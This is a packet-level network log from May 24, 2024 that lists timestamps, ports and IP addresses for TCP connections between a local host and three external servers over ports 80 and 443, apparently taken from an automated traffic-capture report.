May 24, 2024 13:42:05.032954931 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032970905 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.032989025 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.032998085 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033046007 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033471107 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033505917 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033539057 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033571005 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033571959 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033596992 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033605099 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033615112 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033638954 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033646107 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033672094 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033694983 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033705950 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.033715010 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.033755064 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034213066 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034246922 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034271002 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034281015 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034286976 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034313917 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034328938 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034348011 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034356117 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034380913 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034394026 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034414053 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034439087 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034449100 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.034454107 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034506083 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.034980059 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035013914 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035034895 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035047054 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035057068 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035080910 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035111904 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035124063 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035130978 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035157919 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035190105 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035218954 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035245895 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035602093 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035619974 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035634041 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035650969 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035651922 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035669088 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035676956 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035689116 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.035707951 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035734892 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.035764933 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.036077023 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.036087990 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.036098957 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.036119938 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.036147118 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.037580967 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.037642956 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.037693024 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.037774086 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.037786007 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.037796021 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.037817955 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.037846088 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038028955 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038059950 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038101912 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038132906 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038245916 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038255930 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038305044 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038305998 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038319111 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038342953 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038372040 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038614035 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038625956 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038635015 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038645983 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038664103 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038696051 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038697004 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.038938046 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038949013 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.038988113 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039014101 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039052963 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039160013 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039170980 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039180994 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039203882 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039232016 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039458036 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039469004 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039506912 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039619923 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039657116 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039881945 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039894104 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039902925 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.039927959 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.039957047 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.040375948 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:05.040419102 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:05.057708025 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.057742119 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.057776928 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.057795048 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.057809114 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.057826996 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.057856083 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.057861090 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.057878971 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.057904959 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058085918 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058150053 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058171034 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058254957 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058274031 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058289051 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058295965 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058324099 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058326006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058357000 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058366060 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058393002 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058398962 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058433056 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058691025 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058726072 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058741093 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058845043 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058901072 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058952093 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058964968 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.058988094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.058995008 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059021950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059032917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059056997 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059065104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059092045 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059094906 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059125900 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059129953 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059159994 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059191942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059207916 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059225082 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059235096 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059267044 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.059798002 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.059869051 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.064522982 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.064559937 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.064574957 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.064610004 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087268114 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087356091 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087380886 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087393999 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087399960 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087430000 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087436914 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087465048 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087486029 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087512970 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087734938 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087771893 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087805033 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087806940 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.087830067 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087847948 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.087975025 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088011026 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088043928 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088058949 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088083029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088085890 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088124037 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088397026 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088433027 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088466883 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088489056 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088504076 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088515997 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088538885 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088545084 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088574886 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088606119 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088612080 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088902950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088938951 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088956118 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.088973045 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.088975906 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089008093 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089014053 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089041948 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089046955 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089076996 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089082956 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089112997 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089123964 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089153051 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089504957 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089541912 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089555979 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089576006 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089579105 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089612007 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089616060 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089646101 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089656115 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089680910 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089685917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089715004 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.089726925 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.089756966 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.092190981 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.092226028 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.092236996 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.092267990 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.117976904 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118031979 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118096113 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118127108 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118206024 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118257046 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118294001 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118335009 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118335009 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118346930 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118381023 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118413925 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118426085 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118426085 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118454933 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118738890 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118772984 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118807077 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118815899 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118815899 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118843079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118848085 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118879080 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118912935 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118921995 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118921995 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.118947983 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.118995905 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119044065 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119266987 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119303942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119335890 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119355917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119371891 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119414091 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119414091 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119615078 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119651079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119685888 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119695902 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119695902 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119720936 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.119760990 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.119760990 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120047092 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120083094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120115995 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120122910 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120122910 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120151997 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120168924 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120184898 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120218992 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120229006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120229006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120254993 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120280027 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120290041 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120323896 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120326996 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120340109 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120547056 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120815039 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120851040 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.120904922 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.120981932 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121037006 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121069908 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121077061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121077061 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121110916 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121146917 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121160030 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121181965 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121216059 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121225119 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121225119 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121252060 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121285915 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121295929 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121295929 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121320009 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121370077 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121370077 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121855974 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121891975 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121906042 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121925116 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.121937037 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.121972084 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.122863054 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.122898102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:05.122919083 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.122984886 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:05.124718904 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.124769926 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.124802113 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.124840021 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.124906063 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.124941111 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.124963999 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.125654936 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.126311064 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.126324892 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.126416922 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.126611948 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.126662016 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.126673937 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.126714945 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.126821995 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.126871109 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.127516985 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.127568007 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.129061937 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:05.129112005 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:05.129123926 CEST	443	49755	188.114.96.3	192.168.2.4
